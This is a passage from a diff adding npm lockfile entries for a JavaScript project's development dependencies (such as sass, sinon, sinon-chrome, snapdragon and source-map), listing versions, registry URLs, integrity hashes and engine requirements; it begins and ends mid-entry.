"sha512-CHPV/GAglbIB1tnQgaiysb8H2yCy8WQ7lcEwQ/eT+kLj0QHV8LnJW0zpqpE7RSkrMSRoa+EBoag86clf7WAgSg==", + "dev": true, + "dependencies": { + "homedir-polyfill": "^1.0.1", + "is-absolute": "^1.0.0", + "remove-trailing-separator": "^1.1.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-main-filename": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", + "integrity": "sha512-IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug==", + "dev": true + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true + }, + "node_modules/requizzle": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/requizzle/-/requizzle-0.2.4.tgz", + "integrity": "sha512-JRrFk1D4OQ4SqovXOgdav+K8EAhSB/LJZqCz8tbX0KObcdeM15Ss59ozWMBWmmINMagCwmqn4ZNryUGpBsl6Jw==", + "dev": true, + "dependencies": { + "lodash": "^4.17.21" + } + }, + "node_modules/resolve": { + "version": "1.22.2", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.2.tgz", + "integrity": "sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==", + "dev": true, + "dependencies": { + "is-core-module": "^2.11.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-dir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz", + "integrity": "sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==", + "dev": true, + "dependencies": { + "expand-tilde": "^2.0.0", + "global-modules": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-options": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/resolve-options/-/resolve-options-1.1.0.tgz", + "integrity": "sha512-NYDgziiroVeDC29xq7bp/CacZERYsA9bXYd1ZmcJlF3BcrZv5pTb4NG7SjdyKDnXZ84aC4vo2u6sNKIA1LCu/A==", + "dev": true, + "dependencies": { + "value-or-function": "^3.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/resolve-url": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", + "integrity": "sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==", + "deprecated": "https://github.com/lydell/resolve-url#deprecated", + "dev": true + }, + "node_modules/ret": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", + "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", + "dev": true, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "node_modules/safe-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", + "integrity": "sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==", + "dev": true, + "dependencies": { + "ret": "~0.1.10" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "node_modules/sass": { + "version": "1.43.2", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.43.2.tgz", + "integrity": "sha512-DncYhjl3wBaPMMJR0kIUaH3sF536rVrOcqqVGmTZHQRRzj7LQlyGV7Mb8aCKFyILMr5VsPHwRYtyKpnKYlmQSQ==", + "dev": true, + "dependencies": { + "chokidar": ">=3.0.0 <4.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/sass/node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/sass/node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/sass/node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sass/node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/sass/node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sass/node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/sass/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/sass/node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sass/node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/sass/node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/sass/node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/saxes": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "dev": true, + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "peer": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/semver-greatest-satisfied-range": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/semver-greatest-satisfied-range/-/semver-greatest-satisfied-range-1.1.0.tgz", + "integrity": "sha512-Ny/iyOzSSa8M5ML46IAx3iXc6tfOsYU2R4AXi2UpHk60Zrgyq6eqPj/xiOfS0rRl/iiQ/rdJkVjw/5cdUyCntQ==", + "dev": true, + "dependencies": { + "sver-compat": "^1.5.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", + "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "dev": true + }, + "node_modules/set-value": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", + "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", + "dev": true, + "dependencies": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.3", + "split-string": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, + "node_modules/sinon": { + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/sinon/-/sinon-11.1.2.tgz", + "integrity": "sha512-59237HChms4kg7/sXhiRcUzdSkKuydDeTiamT/jesUVHshBgL8XAmhgFo0GfK6RruMDM/iRSij1EybmMog9cJw==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^1.8.3", + "@sinonjs/fake-timers": "^7.1.2", + "@sinonjs/samsam": "^6.0.2", + "diff": "^5.0.0", + "nise": "^5.1.0", + "supports-color": "^7.2.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/sinon" + } + }, + "node_modules/sinon-chrome": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/sinon-chrome/-/sinon-chrome-3.0.1.tgz", + "integrity": "sha512-NTEFhyuiWEMnRmIqldUiA2DhKn2EqnZxyEk5Ez5rBXj+Nl54aJ0MEmF4wjltrxecxd8zlNLxyE0HyLabev9JsQ==", + "dev": true, + "dependencies": { + "lodash": "^4.16.3", + "sinon": "^7.2.3", + "urijs": "^1.18.2" + } + }, + "node_modules/sinon-chrome/node_modules/@sinonjs/samsam": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz", + "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^1.3.0", + "array-from": "^2.1.1", + "lodash": "^4.17.15" + } + }, + "node_modules/sinon-chrome/node_modules/diff": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/sinon-chrome/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/sinon-chrome/node_modules/nise": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/nise/-/nise-1.5.3.tgz", + "integrity": "sha512-Ymbac/94xeIrMf59REBPOv0thr+CJVFMhrlAkW/gjCIE58BGQdCj0x7KRCb3yz+Ga2Rz3E9XXSvUyyxqqhjQAQ==", + "dev": true, + "dependencies": { + "@sinonjs/formatio": "^3.2.1", + "@sinonjs/text-encoding": "^0.7.1", + "just-extend": "^4.0.2", + "lolex": "^5.0.1", + "path-to-regexp": "^1.7.0" + } + }, + "node_modules/sinon-chrome/node_modules/nise/node_modules/lolex": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/lolex/-/lolex-5.1.2.tgz", + "integrity": "sha512-h4hmjAvHTmd+25JSwrtTIuwbKdwg5NzZVRMLn9saij4SZaepCrTCxPr35H/3bjwfMJtN+t3CX8672UIkglz28A==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^1.7.0" + } + }, + "node_modules/sinon-chrome/node_modules/sinon": { + "version": "7.5.0", + "resolved": "https://registry.npmjs.org/sinon/-/sinon-7.5.0.tgz", + "integrity": "sha512-AoD0oJWerp0/rY9czP/D6hDTTUYGpObhZjMpd7Cl/A6+j0xBE+ayL/ldfggkBXUs0IkvIiM1ljM8+WkOc5k78Q==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^1.4.0", + "@sinonjs/formatio": "^3.2.1", + "@sinonjs/samsam": "^3.3.3", + "diff": "^3.5.0", + "lolex": "^4.2.0", + "nise": "^1.5.2", + "supports-color": "^5.5.0" + } + }, + "node_modules/sinon-chrome/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "dev": true + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/snapdragon": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", + "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", + "dev": true, + "dependencies": { + "base": "^0.11.1", + "debug": "^2.2.0", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "map-cache": "^0.2.2", + "source-map": "^0.5.6", + "source-map-resolve": "^0.5.0", + "use": "^3.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", + "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", + "dev": true, + "dependencies": { + "define-property": "^1.0.0", + "isobject": "^3.0.0", + "snapdragon-util": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-util": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", + "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", + "dev": true, + "dependencies": { + "kind-of": "^3.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-util/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/snapdragon/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true + }, + "node_modules/snapdragon/node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-resolve": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", + "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==", + "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated", + "dev": true, + "dependencies": { + "atob": "^2.1.2", + "decode-uri-component": "^0.2.0", + "resolve-url": "^0.2.1", + "source-map-url": "^0.4.0", + "urix": "^0.1.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-url": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz", + "integrity": 